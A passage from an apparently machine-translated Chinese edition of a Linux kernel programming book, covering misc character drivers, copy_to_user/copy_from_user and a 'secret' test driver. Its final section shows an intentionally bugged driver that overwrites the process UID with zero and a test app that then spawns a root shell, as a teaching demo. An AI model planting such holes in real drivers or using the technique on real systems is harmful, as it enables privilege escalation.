bytes\n", count); - return count; -} -``` - -前面的评论不言自明。在其中,我们发出`pr_info()`,显示用户空间进程想要读取的字节数。然后,我们简单地返回读取的字节数,这意味着成功!事实上,我们(基本上)什么也没做。其余的驱动方法非常相似。 - -## 测试我们简单的杂项驱动程序 - -让我们测试一下我们真正简单的骨架`misc`角色驱动(在`ch1/miscdrv`目录中;我们假设您已经构建并插入了它,如*图 1.4* 所示。我们通过发布`open(2)`、`read(2)`、`write(2)`、`close(2)`系统调用来测试;我们究竟如何才能做到这一点?我们总是可以写一个小的 C 程序来精确地做到这一点,但是更简单的方法是使用有用的`dd(1)`“磁盘复制器”实用程序。我们这样使用它: - -```sh -dd if=/dev/llkd_miscdrv of=readtest bs=4k count=1 -``` - -内部`dd`打开文件,我们通过`if=`将其作为参数(`/dev/llkd_miscdrv`)传递(这里是第一个参数传递给`dd`;`if=`指定输入文件),它将从中读取(当然是通过`read(2)`系统调用)。输出要写入参数`of=`指定的文件(第二个参数为`dd`,是一个名为`readtest`的常规文件);`bs`指定执行输入/输出的块大小,`count`是执行输入/输出的次数。执行所需的输入/输出后,`dd`过程将会`close(2)`文件。这个顺序反映在内核日志中(*图 1.5* ): - -![](img/9c0a7520-4795-4889-b8c2-6117c7f1b00f.png) - -Figure 1.5 – Screenshot showing us minimally testing our miscdrv driver's read method via dd(1) - -在验证我们的驱动程序(LKM)被插入后,我们发出`dd(1)`命令,让它从我们的设备中读取 4,096 字节(因为块大小(`bs`)被设置为`4k`,`count`被设置为`1`)。我们让它将输出(通过`of=`选项开关)写入名为`readtest`的文件。查内核日志,可以看到(*图 1.5* )的`dd`进程确实打开了我们的设备(我们的`PRINT_CTX()`宏的输出显示是当前运行我们驱动的代码的进程上下文!).接下来,我们可以看到(通过`pr_fmt()`的输出),控制转到我们的驱动程序读取方法,在该方法中,我们发出一个简单的`printk`并返回表示成功的值 4096(尽管我们确实没有读取任何内容!).然后通过`dd`关闭装置。此外,使用`hexdump(1)`实用程序快速检查后发现,我们确实从驱动程序(在文件`readtest`中)收到了`0x1000` (4,096 个)空值(如预期的那样);一定要意识到这是因为`dd`将其读取缓冲区初始化为`NULL` s。 - -The `PRINT_CTX()` macro we have used within the code lives within our `convenient.h` header. Do take a look; it's quite instructive (we try and emulate the kernel `Ftrace` infrastructure's latency output format, which reveals a lot of detail in a small space, a single line of output). This is explained in detail in [Chapter 4](4.html), *Handling Hardware Interrupts*, in the *Fully figuring out the context* section. Don't worry about all the details for now... - -*图 1.6* 显示了我们如何(最低限度地)通过`dd(1)`测试对驾驶员的书写。这次我们读取`4k`的随机数据(通过利用内核内置的`mem`驱动的`/dev/urandom`工具),并将随机数据写入我们的设备节点;实际上,对于我们的“设备”: - -![](img/3bf0f7e7-4cc3-49a7-a935-1bc099c22e46.png) - -Figure 1.6 – Screenshot showing us minimally testing our miscdrv driver's write method via dd(1) - -(顺便说一下,我还为驱动程序包含了一个简单的用户空间测试 app 可以在这里找到:`ch1/miscdrv/rdwr_test.c`。我将把它留给你去阅读它的代码并试用。) - -你可能会想:我们确实成功地在用户空间和我们的驱动程序之间读写了数据,但是,等等,我们实际上从未在驱动程序代码中看到任何数据传输。是的,这是下一节的主题:如何将数据从用户空间进程缓冲区复制到内核驱动程序缓冲区,反之亦然。继续读! - -# 将数据从内核复制到用户空间,反之亦然 - -设备驱动程序的主要工作是使用户空间应用能够透明地向外围硬件设备(通常是某种芯片;它可能根本不是硬件),将设备视为普通文件。因此,为了从设备读取数据,应用打开对应于该设备的设备文件,从而获得文件描述符,然后简单地使用该`fd`(【图 1.7】中的*步骤 1*)发出`read(2)`系统调用!内核 VFS 拦截读取,正如我们所看到的,控制流向底层设备驱动程序的读取方法(当然,这是一个 C 函数)。驱动程序代码现在与硬件设备“对话”,实际执行输入/输出、读取操作。(硬件读取(或写入)的具体执行方式在很大程度上取决于硬件的类型——是内存映射设备、端口、网络芯片等等?我们在此不再深入探讨;下一章会。)驱动程序从设备读取数据后,现在将这些数据放入内核缓冲区`kbuf` ( *步骤 2* 如下图所示。当然,我们假设驱动作者通过`[k|v]malloc()`或另一个合适的内核 API 为其分配了内存。 - -我们现在在内核空间缓冲区中有硬件设备数据。我们应该如何把它转移到用户空间进程的内存缓冲区?我们将开发内核 API,使之变得容易;接下来将介绍这一点。 - -## 利用内核 API 来执行数据传输 - -现在,如前所述,让我们假设您的驱动程序已经读入了硬件数据,并且它现在存在于内核内存缓冲区中。我们如何把它转移到用户空间?一个天真的方法是简单地尝试通过`memcpy()`执行,但是*不,*不起作用(为什么?一是缺乏安全感,二是非常依赖拱门;它适用于某些架构,不适用于其他架构)。因此,一个关键点是:内核提供了两个内联函数来将数据从内核传输到用户空间,反之亦然。分别是`copy_to_user()`和`copy_from_user()`,确实非常常用。 - -使用它们很简单。两者都取三个参数:`to` 指针(目的缓冲区)、`from` 指针(源缓冲区)和`n`,要复制的字节数(就像对一个`memcpy`操作一样): - -```sh -include /* Note! used to be upto 4.11 */ - -unsigned long copy_to_user(void __user *to, const void *from, unsigned long n); -unsigned long copy_from_user(void *to, const void __user *from, unsigned long n); -``` - -返回值为*未拷贝的*字节数;换句话说,`0`的返回值表示成功,非零的返回值表示给定的字节数没有被复制。如果发生非零返回,您应该(按照通常的`0/-E`返回惯例)通过返回`-EIO`或`-EFAULT`返回指示输入/输出故障的错误(从而将用户空间中的`errno`设置为正值)。以下(伪)代码说明了设备驱动程序如何使用`copy_to_user()`函数将一些数据从内核复制到用户空间: - -```sh -static ssize_t read_method(struct file *filp, char __user *ubuf, size_t count, loff_t *off) -{ - char *kbuf = kzalloc(...); - [ ... ] - /* ... do what's required to get data from the hardware device into kbuf ... */ - if (copy_to_user(buf, kbuf, count)) { - dev_warn(dev, "copy_to_user() failed\n"); - goto out_rd_fail; - } - [ ... ] - return count; /* success */ -out_rd_fail: - kfree(kbuf); - return -EIO; /* or -EFAULT */ -} -``` - -当然,这里我们假设您有一个有效分配的内核内存缓冲区,`kbuf`,和一个有效的设备指针(`struct device *dev`)。*图 1.7* 说明了前面的(伪)代码试图实现的目标: - -![](img/2ddabab1-d742-40ea-992e-89083c8e7fdd.png) - -Figure 1.7 – Read: copy_to_user(): copying data from the hardware to a kernel buffer and from there to a user space buffer - -相同的语义适用于使用`copy_from_user()`内联函数。它通常在驱动程序的 write 方法的上下文中使用,将用户空间进程上下文写入的数据拉入内核空间缓冲区。我们会让你想象这个。 - -同样重要的是要认识到,两个例程(`copy_[from|to]_user()`)在运行期间都可能导致进程上下文(页面)出错,从而休眠;换句话说,调用调度程序。因此,**它们只能在可以安全休眠的进程上下文中使用,绝不能在任何原子或中断上下文**中使用(我们将在[第 4 章](4.html)、*处理硬件中断*的*不阻塞—发现可能阻塞的代码* *路径*一节中详细解释`might_sleep()`助手—一个调试助手)。 - -对于好奇的读者(希望你也是!),这里有一些链接,更详细地解释了为什么不能只使用简单的`memcpy()`,而必须使用`copy_[from|to]_user()`内联函数在内核和用户空间之间复制数据: - -* [ht](https://stackoverflow.com/questions/14970698/copy-to-user-vs-memcpy)[TPS://stack overflow . com/questions/14970698/copy-to-user-vs memcpy](https://stackoverflow.com/questions/14970698/copy-to-user-vs-memcpy) [](https://stackoverflow.com/questions/14970698/copy-to-user-vs-memcpy) -* [https:](https://www.quora.com/Why-we-need-copy_from_user-as-the-kernel-can-access-all-the-memory-If-we-see-the-copy_from_user-implementation-again-we-are-copying-data-to-the-kernel-memory-using-memcpy-Doesnt-it-an-extra-overhead)[//www . quora . com/Why-we-copy _ from _ user-as-the-kernel-can-access-all-mem-If-we-the-copy _ from _ user-implementation-re-we-copy-data-to-kernel-memcpy-memcpy-not-it-a-extra-overhealth](https://www.quora.com/Why-we-need-copy_from_user-as-the-kernel-can-access-all-the-memory-If-we-see-the-copy_from_user-implementation-again-we-are-copying-data-to-the-kernel-memory-using-memcpy-Doesnt-it-an-extra-overhead)。 - -在下一节中,我们将编写一个更完整的`misc`框架字符设备驱动程序,它将实际执行一些 I/O,读写数据。 - -# 有秘密的杂项司机 - -既然您已经了解了如何在用户和内核空间之间复制数据(反之亦然),那么让我们基于之前的框架(`ch1/miscdrv/`)杂项驱动程序编写另一个设备驱动程序(`ch1/miscdrv_rdwr`)。主要区别在于,我们始终使用一些全局数据项(在一个结构中),并且实际上以读写的形式执行一些输入/输出。这里,让我们引入**驱动程序上下文或私有驱动程序数据结构**的概念;这个想法是要有一个方便访问的数据结构,在一个地方包含所有相关信息。在这里,我们将这个结构命名为`struct drv_ctx`(参见下面的代码清单)。在驱动程序初始化时,我们分配内存并初始化它。 - -好吧,这里没有真正的秘密,只是听起来很有趣。我们的这个驱动程序上下文数据结构中的一个成员是所谓的秘密消息(它是`drv_ctx.oursecret`成员,以及一些(伪造的)统计数据和配置字)。这是我们建议使用的简单“驱动程序上下文”或私有数据结构: - -```sh -// ch1/miscdrv_rdwr/miscdrv_rdwr.c -[ ... ] -/* The driver 'context' (or private) data structure; - * all relevant 'state info' reg the driver is here. */ -struct drv_ctx { - struct device *dev; - int tx, rx, err, myword; - u32 config1, config2; - u64 config3; -#define MAXBYTES 128 /* Must match the userspace app; we should actually - * use a common header file for things like this */ - char oursecret[MAXBYTES]; -}; -static struct drv_ctx *ctx; -``` - -太好了;现在让我们继续查看和理解代码。 - -## 编写“秘密”杂项设备驱动程序代码 - -我们将关于我们的秘密杂项字符设备驱动程序的实现细节的讨论分为五个部分:驱动程序初始化、读取方法、写入方法功能实现、驱动程序清理,最后是将使用我们的设备驱动程序的用户空间应用。 - -### 我们的秘密驱动程序——初始化代码 - -在我们的秘密设备驱动程序的`init`代码中(当然是内核模块,因此在`insmod(8)`上调用),我们首先向内核注册驱动程序作为`misc`角色驱动程序(通过`misc_register()` API,如前面的*编写杂项驱动程序代码–第 1 部分*一节所见;我们在此不再重复这段代码)。 - -接下来,我们为驱动程序的“上下文”结构分配内核内存–通过有用的托管分配`devm_kzalloc()` API(正如您在配套指南 *Linux 内核编程、* [第 8 章](1.html)、*模块作者的内核内存分配–第 1 部分*、在*中使用内核的资源托管内存分配 API*部分所学习的那样)–并初始化它。请注意,您必须确保首先获得设备指针`dev`,然后才能使用该 API 我们从我们的`miscdevice`结构的`this_device`成员中检索它(如图所示): - -```sh -// ch1/miscdrv_rdwr/​miscdrv_rdwr.c -[ ... ] -static int __init miscdrv_rdwr_init(void) -{ - int ret; - struct device *dev; - - ret = misc_register(&llkd_miscdev); - [ ... ] - dev = llkd_miscdev.this_device; - [ ... ] - ctx = devm_kzalloc(dev, sizeof(struct drv_ctx), GFP_KERNEL); - if (unlikely(!ctx)) - return -ENOMEM; - - ctx->dev = dev; - strscpy(ctx->oursecret, "initmsg", 8); - [ ... ] - return 0; /* success */ -} -``` - -好的,很明显,我们已经初始化了我们的`ctx`私有结构实例的`dev`成员,以及`'initmsg'`字符串的“秘密”字符串(不是一个非常令人信服的秘密,但是让我们就这样吧)。这里的思想是,当用户空间进程(或线程)打开我们的设备文件并在其上发布`read(2)`时,我们将秘密传递(复制)给它;我们通过调用`copy_to_user()`助手函数来实现!同样,当用户模式应用向我们写入数据时(是的,通过`write(2)`系统调用),我们认为写入的数据是新的秘密。因此,我们通过`copy_from_user()`助手函数从用户空间缓冲区获取它,并在驱动程序内存中更新它。 - -Why not simply use the `strcpy()` (or `strncpy()`) API to initialize the `ctx->oursecret` member? This is very important: they aren't safe enough security-wise. Also, the `strlcpy()` API has been marked as **deprecated** by the kernel community ([https://www.kernel.org/doc/html/latest/process/deprecated.html#strlcpy](https://www.kernel.org/doc/html/latest/process/deprecated.html#strlcpy)). In general, always avoid using deprecated stuff, as documented in the kernel documentation here: [https://www.kernel.org/doc/html/latest/process/deprecated.html#deprecated-interfaces-language-features-attributes-and-conventions](https://www.kernel.org/doc/html/latest/process/deprecated.html#deprecated-interfaces-language-features-attributes-and-conventions). - -很明显,这个新驱动程序有趣的部分是输入/输出功能——读和写的方法;继续! - -### 我们的秘密驱动因素——读取方法 - -我们将首先展示 read 方法的相关代码——这是用户空间进程(或线程)如何读入我们的驱动程序(在其上下文结构中)中的秘密信息: - -```sh -static ssize_t -read_miscdrv_rdwr(struct file *filp, char __user *ubuf, size_t count, loff_t *off) -{ - int ret = count, secret_len = strlen(ctx->oursecret); - struct device *dev = ctx->dev; - char tasknm[TASK_COMM_LEN]; - - PRINT_CTX(); - dev_info(dev, "%s wants to read (upto) %zd bytes\n", get_task_comm(tasknm, current), count); - - ret = -EINVAL; - if (count < MAXBYTES) { - [...] *<< we don't display some validity checks here >>* - - /* In a 'real' driver, we would now actually read the content of the - * [...] - * Returns 0 on success, i.e., non-zero return implies an I/O fault). - * Here, we simply copy the content of our context structure's - * 'secret' member to userspace. */ - ret = -EFAULT; - if (copy_to_user(ubuf, ctx->oursecret, secret_len)) { - dev_warn(dev, "copy_to_user() failed\n"); - goto out_notok; - } - ret = secret_len; - - // Update stats - ctx->tx += secret_len; // our 'transmit' is wrt this driver - dev_info(dev, " %d bytes read, returning... (stats: tx=%d, rx=%d)\n", - secret_len, ctx->tx, ctx->rx); -out_notok: - return ret; -} -``` - -`copy_to_user()`例程完成它的工作——它将`ctx->oursecret`源缓冲区复制到`secret_len`字节的目的地指针`ubuf`用户空间缓冲区,从而将秘密传输到用户空间应用。现在,让我们来看看驱动程序的编写方法。 - -### 我们的秘密驱动因素——写方法 - -最终用户可以通过对驱动程序的设备节点进行`write(2)`系统调用,将新的秘密写入驱动程序来更改该秘密。内核将写操作(通过 VFS 层)重定向到我们的驱动程序的写方法(正如您在*中了解到的,理解进程、驱动程序和内核之间的联系*部分): - -```sh -static ssize_t -write_miscdrv_rdwr(struct file *filp, const char __user *ubuf, size_t count, loff_t *off) -{ - int ret = count; - void *kbuf = NULL; - struct device *dev = ctx->dev; - char tasknm[TASK_COMM_LEN]; - - PRINT_CTX(); - if (unlikely(count > MAXBYTES)) { /* paranoia */ - dev_warn(dev, "count %zu exceeds max # of bytes allowed, " - "aborting write\n", count); - goto out_nomem; - } - dev_info(dev, "%s wants to write %zd bytes\n", get_task_comm(tasknm, current), count); - - ret = -ENOMEM; - kbuf = kvmalloc(count, GFP_KERNEL); - if (unlikely(!kbuf)) - goto out_nomem; - memset(kbuf, 0, count); - - /* Copy in the user supplied buffer 'ubuf' - the data content - * to write ... */ - ret = -EFAULT; - if (copy_from_user(kbuf, ubuf, count)) { - dev_warn(dev, "copy_from_user() failed\n"); - goto out_cfu; - } - - /* In a 'real' driver, we would now actually write (for 'count' bytes) - * the content of the 'ubuf' buffer to the device hardware (or - * whatever), and then return. - * Here, we do nothing, we just pretend we've done everything :-) - */ - strscpy(ctx->oursecret, kbuf, (count > MAXBYTES ? MAXBYTES : count)); - [...] - // Update stats - ctx->rx += count; // our 'receive' is wrt this driver - - ret = count; - dev_info(dev, " %zd bytes written, returning... (stats: tx=%d, rx=%d)\n", - count, ctx->tx, ctx->rx); -out_cfu: - kvfree(kbuf); -out_nomem: - return ret; -} -``` - -我们使用`kvmalloc()`应用编程接口为一个缓冲区分配内存,以保存我们将要复制的用户数据。当然,实际的复制是通过`copy_from_user()`例程完成的。这里,我们使用它将用户空间应用传递的数据复制到我们的内核缓冲区`kbuf`。然后我们(通过`strscpy()`例程)将我们的驾驶员上下文结构的`oursecret`成员更新为该值,从而更新秘密!(对驱动程序的后续阅读现在将揭示新的秘密。)此外,请注意以下几点: - -* 我们现在如何一致地使用`dev_xxx()`助手来代替通常的`printk`例程。对于设备驱动程序,建议这样做。 -* `goto`执行最佳错误处理的(现在是典型的)用法。 - -这包括司机的肉。 - -### 我们的秘密司机——清理 - -重要的是要认识到,我们必须释放我们已经分配的任何缓冲区。然而,在这里,当我们在`init`代码(`devm_kzalloc()`)中执行托管分配时,我们的好处是不需要担心清理;内核处理它。当然,在驱动程序的清理代码路径中(在`rmmod(8)`上调用),我们用内核注销`misc`驱动程序: - -```sh -static void __exit miscdrv_rdwr_exit(void) -{ - misc_deregister(&llkd_miscdev); - pr_info("LLKD misc (rdwr) driver deregistered, bye\n"); -} -``` - -您会注意到,在这个版本的驱动程序中,我们似乎也在某些地方使用了两个全局整数`ga`和`gb`。的确,它们在这里没有真正的意义;我们拥有它们的原因只有在本书的最后两章,内核同步中才会变得清晰。请暂时忽略它们。 - -On this note, you'll perhaps realize that the way we have arbitrarily accessed global data in this driver **can cause concurrency issue (*data races!*)**; yes indeed; we shall set aside the deep and crucial coverage of kernel concurrency and synchronization to the book's last two chapters. - -### 我们的秘密驱动程序——用户空间测试应用 - -仅仅编写内核组件、设备驱动程序是不够的;您还必须编写一个用户空间应用,该应用将实际使用驱动程序。我们将在这里这样做。(同样,您也可以简单地使用`dd(1)`。) - -为了使用设备驱动,用户空间 app 当然要先打开对应的设备文件。(在这里,为了节省空间,我们不显示应用代码的全部,只显示其中最相关的部分。我们希望您已经克隆了这本书的 Git 存储库,并开始编写代码。)打开设备文件的代码如下: - -```sh -// ch1/miscdrv_rdwr/rdwr_test_secret.c -int main(int argc, char **argv) -{ - char opt = 'r'; - int fd, flags = O_RDONLY; - ssize_t n; - char *buf = NULL; - size_t num = 0; -[...] - if ('w' == opt) - flags = O_WRONLY; - fd = open(argv[2], flags, 0); if (fd== -1) { - [...] -``` - -这个应用的第二个参数是要打开的设备文件。为了读取或写入,该过程将需要内存: - -```sh - if ('w' == opt) - num = strlen(argv[3])+1; // IMP! +1 to include the NULL byte! - else - num = MAXBYTES; - buf = malloc(num); - if (!buf) { - [...] -``` - -接下来,让我们看看让应用在(伪)设备上调用读或写(取决于第一个参数为`r`或`w`)的代码块(为简明起见,我们不显示错误处理代码): - -```sh - if ('r' == opt) { - n = read(fd, buf, num); - if( n < 0 ) [...] - printf("%s: read %zd bytes from %s\n", argv[0], n, argv[2]); - printf("The 'secret' is:\n \"%.*s\"\n", (int)n, buf); - } else { - strncpy(buf, argv[3], num); - n = write(fd, buf, num); - if( n < 0 ) [ ... ] - printf("%s: wrote %zd bytes to %s\n", argv[0], n, argv[2]); - } - [...] - free(buf); - close(fd); - exit(EXIT_SUCCESS); -} -``` - -(在试用这个驱动之前,一定要确保之前`miscdrv` 驱动的内核模块已经卸载。)现在,当然要确保这个驱动程序已经构建并插入,否则会导致`open(2)`系统调用失败。我们展示了几次试运行。首先,让我们构建用户模式应用,插入驱动程序(未在*图 1.8* 中显示),并从我们刚刚创建的设备节点读取: - -![](img/b40b7ebe-f9d3-4ec2-b1c0-199633935f2c.png) - -Figure 1.8 – miscdrv_rdwr: (minimally) testing the read; the original secret is revealed - -用户模式应用成功从驱动程序接收到 7 个字节;它显示的是(初始)秘密值。内核日志反映了驱动程序初始化,几秒钟后,您可以看到(通过我们发出的`printk`的`dev_xxx()`实例)`rdwr_test_secret`应用在进程上下文中运行驱动程序代码。设备的打开、后续读取的运行以及关闭方法清晰可见。(注意流程名称是如何被截断为`rdwr_test_secre`;这是因为任务结构的`comm`成员是进程名,被截断为 16 个字符。) - -在*图 1.9* 中,我们展示了写入我们的设备节点的补充动作,改变秘密值;随后的阅读确实揭示了它是有效的: - -![](img/821a37e0-9a8b-4b33-93b0-eb4f40dc8639.png) - -Figure 1.9 – miscdrv_rdwr: (minimally) testing the write; a new, excellent secret is written - -内核日志中发生写入的部分在*图 1.9* 中突出显示。它有效;我绝对鼓励你自己尝试一下,边走边查看内核日志。 - -现在,是时候深入挖掘一下了。现实是,作为一名司机作者,你必须学会真正小心对待*安全*,否则各种令人讨厌的惊喜就在等待中。下一节将让您了解这一关键领域。 - -# 问题和安全关切 - -对于初露头角的司机作者来说,一个重要的考虑因素是安全性。问题是,即使是驱动程序中非常常见的`copy_[from|to]_user()`函数的简单使用,也会让恶意用户非常容易地——并且非法地——在用户和内核空间中覆盖内存以获取优势。怎么做?以下部分对此进行了详细解释;然后,我们甚至会向你展示一个(有点做作,但仍然有效的)黑客。 - -## 黑秘密司机 - -想想看:我们有`copy_to_user()`助手例程;第一个参数是目的地`to`地址,当然应该是用户空间虚拟地址(a UVA)。常规使用将遵守这一点,并提供合法有效的用户空间虚拟地址作为目的地地址,一切都会好的。 - -但是如果我们没有呢?如果我们传递另一个用户空间地址,或者,取而代之的是一个*内核*虚拟地址(KVA),会怎么样?`copy_to_user()`代码现在将以内核特权运行,用源地址(第二个参数)中的任何数据覆盖目的地,以获得第三个参数中的字节数!事实上,黑客经常尝试这样的技术,将伪装成数据的代码插入用户空间缓冲区,并以内核权限执行它,导致相当致命的**权限升级** (privesc)场景。 - -为了清楚地展示不仔细设计和实现驱动程序的不利影响,我们故意引入错误(bug,真的!)到我们以前驱动程序的“坏”版本的读写方法中(尽管在这里,我们只考虑非常常见的`copy_[from|to]_user()`例程的场景,而不考虑其他)。 - -为了获得更多的实际体验,我们将编写一个`ch1/miscdrv_rdwr`驱动程序的“坏”版本。我们称之为(非常聪明地)`ch1/bad_miscdrv`。在这个版本中,我们特意内置了两条有问题的代码路径: - -* 一个在驱动程序的读取方法中 -* 另一个,更令人兴奋的,你很快就会看到,在写作方法。 - -让我们两个都看看。我们将从错误阅读开始。 - -### 错误的驱动程序–错误的读取() - -为了帮助您了解代码中发生了什么变化,我们首先将这个(故意的)糟糕的驱动程序代码与我们之前的(好的)版本执行`diff(1)`,当然会产生差异(在下面的代码片段中,我们将输出缩减为最相关的部分): - -```sh -// in ch1/bad_miscdrv -$ diff -u ../miscdrv_rdwr/miscdrv_rdwr.c bad_miscdrv.c -[ ... ] -+#include ​// access to struct cred -#include "../../convenient.h" -[ ... ] -static ssize_t read_miscdrv_rdwr(struct file *filp, char __user *ubuf, -[ ... ] -+ void *kbuf = NULL; -+ void *new_dest = NULL; -[ ... ] -+#define READ_BUG -+//#undef READ_BUG -+#ifdef READ_BUG -[ ... ] -+ new_dest = ubuf+(512*1024); -+#else -+ new_dest = ubuf; -+#endif -[ ... ] -+ if (copy_to_user(new_dest, ctx->oursecret, secret_len)) { -[ ... ] -``` - -所以,应该很清楚:在我们的‘坏’驱动程序的读取方法中,如果定义了`READ_BUG`宏,我们就改变用户空间目标指针指向一个非法位置(超出我们实际应该复制数据的位置 512 KB!).这证明了这一点:我们可以做像这样的任意事情,因为我们是以内核特权*运行的。*它会引起问题和 bug 是另一回事。 - -让我们试试:首先,确保您已经构建并加载了`bad_miscdrv`内核模块(您可以使用我们的`lkm`便利脚本来这样做)。我们的试运行,通过我们的`ch1/bad_miscdrv/rdwr_test_hackit`用户模式应用发出`read(2)`系统调用,导致失败(见下面的截图): - -![](img/7beb9fad-e2d5-495f-8d72-951812ac41e1.png) - -Figure 1.10 – Screenshot showing our bad_miscdrv misc driver performing a "bad" read - -啊,这个有意思;我们的测试应用(`rdwr_test_hackit` ) `read(2)`系统调用确实失败了,而`perror(3)`例程将失败的原因指示为`Bad address`。但是为什么呢?为什么以内核特权运行的驱动程序没有写错目的地址(这里是`0x5597245d46b0`;正如我们所知,它试图在正确的目的地址之前写入 512 KB*。我们特意编写了驱动程序的 read 方法代码来做到这一点)。* - - *这是因为内核确保`copy_[from|to]_user()`例程在试图读取或写入非法地址时会(理想情况下)失败!在内部,要做几个检查:`access_ok()`是一个简单的检查,仅仅是确保在预期的段(用户或内核)内执行输入/输出。现代 Linux 内核有优越的检查;除了简单的`access_ok()`检查,内核然后涉水通过——如果启用的话——一个编译器工具特性——T4 KASAN(**内核地址杀毒软件**;KASAN 确实很好用,开发测试期间的一个*必做*!),检查对象大小(包括溢出检查),然后才调用执行实际复制的工作例程`raw_copy_[from|to]_user()`。 - -好,那很好;现在,让我们转到更有趣的案例,buggy write,我们将安排(以一种做作的方式)进行攻击!继续读... - -### 糟糕的驱动程序-错误的 write()-一个特权! - -恶意黑客真正想要的是什么,他们的圣杯?系统上的一个根壳,当然(*得到了根?*)。在我们的驱动程序的编写方法中有大量人为的代码(因此使得这个黑客不是一个真正好的;挺学术的),我们去拿吧!为此,我们修改了用户模式应用和设备驱动程序。让我们先看看用户模式应用的变化。 - -#### 用户空间测试应用修改 - -我们稍微修改了用户空间应用——实际上是我们的流程上下文。这个用户模式测试应用的特殊版本在一个方面不同于早期版本:我们现在有一个名为`HACKIT`的宏。如果定义了它(默认情况下是这样的),这个过程将故意只在用户空间缓冲区中写入零,并将其发送给我们糟糕的驱动程序的写方法。如果驱动程序定义了`DANGER_GETROOT_BUG`宏(默认情况下),那么它会将零写入进程的 UID 成员,从而使用户模式进程获得根权限! - -In the traditional Unix/Linux paradigm, if the **Real User ID** (**RUID**) and/or **Effective User ID** (**EUID**) (they're within the task structure, in `struct cred`) are set to the special value zero (`0`), it implies that the process has superuser (root) powers. Nowadays, the POSIX Capabilities model is considered a superior way to work with privileges, as it allows assigning fine-grained permissions – *capabilities* – on a thread, as opposed to giving a process or thread complete control over the system as root. - -以下是上一版本用户空间测试应用的快速`diff`,允许您查看对代码所做的更改(同样,我们将输出缩减为最相关的内容): - -```sh -// in ch1/bad_miscdrv -$ diff -u ../miscdrv/rdwr_test.c rdwr_test_hackit.c -[ ... ] -+#define HACKIT -[ ... ] -+#ifndef HACKIT -+ strncpy(buf, argv[3], num); -+#else -+ printf("%s: attempting to get root ...\n", argv[0]); -+ /* -+ * Write only 0's ... our 'bad' driver will write this into -+ * this process's current->cred->uid member, thus making us -+ * root ! -+ */ -+ memset(buf, 0, num); - #endif -- } else { // test writing .. - n = write(fd, buf, num); -[ ... ] -+ printf("%s: wrote %zd bytes to %s\n", argv[0], n, argv[2]); -+#ifdef HACKIT -+ if (getuid() == 0) { -+ printf(" !Pwned! uid==%d\n", getuid()); -+ /* the hacker's holy grail: spawn a root shell */ -+ execl("/bin/sh", "sh", (char *)NULL); -+ } -+#endif -[ ... ] -``` - -这确实意味着(所谓的)秘密永远不会被写出来;没关系。现在,让我们看看对驱动程序所做的修改。 - -#### 设备驱动程序修改 - -为了了解我们糟糕的`misc`驱动程序的编写方法是如何变化的,我们将继续关注我们在*糟糕的驱动程序-童车阅读()*部分中所做的相同的`diff`(我们糟糕的驱动程序与优秀的驱动程序的对比)。以下`diff`操作的代码中的注释是不言自明的。看看吧: - -```sh -// in ch1/bad_miscdrv -$ diff -u ../miscdrv_rdwr/miscdrv_rdwr.c bad_miscdrv.c -[...] - // << this is within the driver's write method >> - static ssize_t write_miscdrv_rdwr(struct file *filp, const char __user *ubuf, - size_t count, loff_t *off) - { - int ret = count; - struct device *dev = ctx->dev; -+ void *new_dest = NULL; -[ ... ] -+#define DANGER_GETROOT_BUG -+//#undef DANGER_GETROOT_BUG -+#ifdef DANGER_GETROOT_BUG -+ /* Make the destination of the copy_from_user() point to the current -+ * process context's (real) UID; this way, we redirect the driver to -+ * write zero's here. Why? Simple: traditionally, a UID == 0 is what -+ * defines root capability! -+ */ -+ new_dest = ¤t->cred->uid; + count = 4; /* change count as we're only updating a 32-bit quantity */ -+ pr_info(" [current->cred=%px]\n", (TYPECST)current->cred); -+#else -+ new_dest = kbuf; -+#endif -``` - -前面代码的重点是当`DANGER_GETROOT_BUG`宏被定义时(默认情况下是这样的),我们将`new_dest`指针设置为凭证结构内的(真实的)UID 成员的地址,对于这个流程上下文来说,它本身就在任务结构内(由`current`引用)!(如果所有这些听起来都很陌生,请阅读配套指南 *Linux 内核编程、* [第 6 章](1.html)、*内核内部要素–进程和线程*)。这样,当我们调用`copy_to_user()`例程来执行对用户空间的写入时,它实际上将向`current->cred`内的进程 UID 成员写入零。UID 为零是(传统上)根的定义。此外,请注意我们如何将写入限制为 4 个字节(因为我们只写入 32 位数量)。 - -(顺便说一下,我们的“坏”司机确实发出了警告;这里,它是有意的,我们只是忽略它): - -```sh -Linux-Kernel-Programming-Part-2/ch1/bad_miscdrv/bad_miscdrv.c:229:11: warning: assignment discards ‘const’ qualifier from pointer target type [-Wdiscarded-qualifiers] - 229 | new_dest = ¤t->cred->uid; - | ^ -``` - -下面是`copy_from_user()`代码调用: - -```sh -[...] -+ dev_info(dev, "dest addr = " ADDRFMT "\n", (TYPECST)new_dest); - ret = -EFAULT; -- if (copy_from_user(kbuf, ubuf, count)) { -+ if (copy_from_user(new_dest, ubuf, count)) { - dev_warn(dev, "copy_from_user() failed\n"); - goto out_cfu; - } -[...] -``` - -显然,前面的`copy_to_user()`例程会将用户提供的缓冲区`ubuf`写入`new_dest`目的地缓冲区,关键的是,我们已经指出`current->cred->uid`为`count`字节。 - -#### 让我们现在扎根 - -当然,布丁的证据在吃,对吗?所以,让我们给我们的黑客一个旋转;在这里,我们假设您首先卸载了任何以前版本的‘杂项’驱动程序,并构建了`bad_miscdrv`内核模块并将其加载到内存中: - -![](img/b3477088-14a9-4ae5-9f29-8fdca1ffd939.png) - -Figure 1.11 – Screenshot showing our bad_miscdrv misc driver performing a "bad" write, resulting in root – a privesc! - -看看吧;**我们果然扎了根!**我们的`rdwr_test_hackit`应用,检测到我们有根(通过一个简单的`getuid(2)`系统调用),然后做合乎逻辑的事情:它执行一个根 Shell(通过一个`execl(3)`应用编程接口),瞧,我们在一个根 Shell 中着陆。我们显示内核日志: - -```sh -$ dmesg -[ 63.847549] bad_miscdrv:bad_miscdrv_init(): LLKD 'bad' misc driver (major # 10) registered, minor# = 56 -[ 63.848452] misc bad_miscdrv: A sample print via the dev_dbg(): (bad) driver initialized -[ 84.186882] bad_miscdrv:open_miscdrv_rdwr(): 000) rdwr_test_hacki :2765 | ...0 /* open_miscdrv_rdwr() */ -[ 84.190521] misc bad_miscdrv: opening "bad_miscdrv" now; wrt open file: f_flags = 0x8001 -[ 84.191557] bad_miscdrv:write_miscdrv_rdwr(): 000) rdwr_test_hacki :2765 | ...0 /* write_miscdrv_rdwr() */ -[ 84.192358] misc bad_miscdrv: rdwr_test_hacki wants to write 4 bytes to (original) ubuf = 0x55648b8f36b0 -[ 84.192971] misc bad_miscdrv: [current->cred=ffff9f67765c3b40] -[ 